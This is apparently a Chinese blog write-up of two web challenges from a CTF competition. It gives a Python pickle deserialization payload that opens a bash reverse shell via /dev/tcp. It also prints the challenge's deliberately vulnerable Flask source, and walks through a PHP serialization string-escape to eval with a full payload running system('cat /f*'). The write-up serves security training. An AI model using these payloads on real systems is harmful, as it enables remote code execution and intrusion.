第二届黄河流域网络安全技能挑战赛 -web

myfavorPython

Pickle 反序列化
随便注册一个账号登进去
开了pickletools但没回显
1715654998185.jpg
反弹shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import pickle
import os
import base64

class aaa():
def __reduce__(self):
return(os.system,('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"',))

a= aaa()

payload=pickle.dumps(a)

payload=base64.b64encode(payload)
print(payload)

1715655031066.jpg
读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
import base64
import io
import os
import pickle
import pickletools
import sys

from flask import Flask, render_template, request, redirect, url_for, session
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user

app = Flask(__name__)
app.secret_key = 'welcome_to_here' # 修改为一个随机的密钥

# 初始化 Flask-Login
login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'

# 模拟一个用户类
class User(UserMixin):
def __init__(self, id):
self.id = id

# 模拟用户数据库
users = {'user_id': {'password': 'user_password', 'role': 'user'}, 'admin_id': {'password': 'asdfghjkl', 'role': 'admin'}}

@login_manager.user_loader
def load_user(user_id):
return User(user_id)




@app.route('/login', methods=['GET', 'POST'])

def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user_data = users.get(username)
if user_data and user_data.get('password') == password:
user = User(username)
login_user(user)

# 在登录成功后将用户的角色信息存储在 session 中
session['role'] = 'admin' if username == 'admin_id' else 'user'

return render_template('index.html')
return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
logout_user()
session.pop('role', None) # 清除 session 中的角色信息
return redirect(url_for('login'))

@app.route('/', methods=['GET', 'POST'])
@login_required
def index():
results = ""
if request.method == 'POST':
a = request.form['text']
# 创建一个 StringIO 对象以捕获输出
output = io.StringIO()
# 将 base64 编码的数据解码并进行 disassembly,输出重定向到 StringIO 对象
try:
decoded_data = base64.b64decode(a)
pickle.loads(decoded_data)

# 使用 context manager 重定向标准输出
with io.StringIO() as file:
old_stdout = sys.stdout
sys.stdout = file
try:
pickletools.dis(decoded_data)
finally:
sys.stdout = old_stdout
results = file.getvalue()
except Exception as e:
results = str(e)

# 渲染模板并传递 results 变量
return render_template('index.html', results=results)
else:
# 如果不是 POST 请求,则正常渲染 index.html
return render_template('index.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']

# 检查用户名是否已存在
if username in users:
return "用户名已存在,请选择其他用户名"

# 创建新用户
users[username] = {'password': password, 'role': 'user'}

# 登录新用户
user = User(username)
login_user(user)

return redirect(url_for('index'))

return render_template('register.html')


if __name__ == '__main__':
app.config['SESSION_COOKIE_NAME'] = 'session'
app.run(host='0.0.0.0', port=5000,debug=True)

逃跑大师

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
$start = mb_strpos($data, "[");
$end = mb_strpos($data, "]");
return mb_substr($data, $start, $end + 1 - $start);
}
class A{
public $A;
public $B = "HELLO";
public $C = "!!!";
public function __construct($A){
$this->A = $A;
}
public function __destruct(){
$key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]");
echo $key;
eval($key);
}
}
if(isset($_POST['escape'])) {
$Class = new A($_POST['escape']);
$Key = serialize($Class);
$K = str_replace("SDPCSEC", "SanDieg0", $Key);
unserialize($K);
}
else{
echo "nonono";
} nonono

rce在eval($key);
要控制变量key
$key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]");
这里
序列化之后有$K = str_replace("SDPCSEC", "SanDieg0", $Key);明显字符串逃逸
SDPCSEC->SanDieg0长度+1
substrstr根据[]来截取
这里当bc可控时 public $B = "]111111111111111111[phpinfo()];";
public $C = "1
经过拼接key变成了]111111111111111111[phpinfo()];[welcome sdpcsec1]
mb_substr截取的是19->-18 即phpinfo()

这样可以保证每次截取的都是[]的内容,即可在里面rce
对于
O:1:"A":3:{s:1:"A";s:1:"S";s:1:"B";s:39:"]111111111111111111[system('cat /f*')];";s:1:"C";s:1:"1";}
要逃逸出";s:1:"B";s:39:"]111111111111111111[system('cat /f*')];";s:1:"C";s:1:"1";}74个字符
拼接4个SDPCSEC即可
escape=SDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSEC";s:1:"B";s:39:"]111111111111111111[system('cat /f*')];";s:1:"C";s:1:"1";}


第二届黄河流域网络安全技能挑战赛 -web
http://example.com/2024/05/13/第二届黄河流域网络安全技能挑战赛 -web/
作者
J_0k3r
发布于
2024年5月13日
许可协议
BY J_0K3R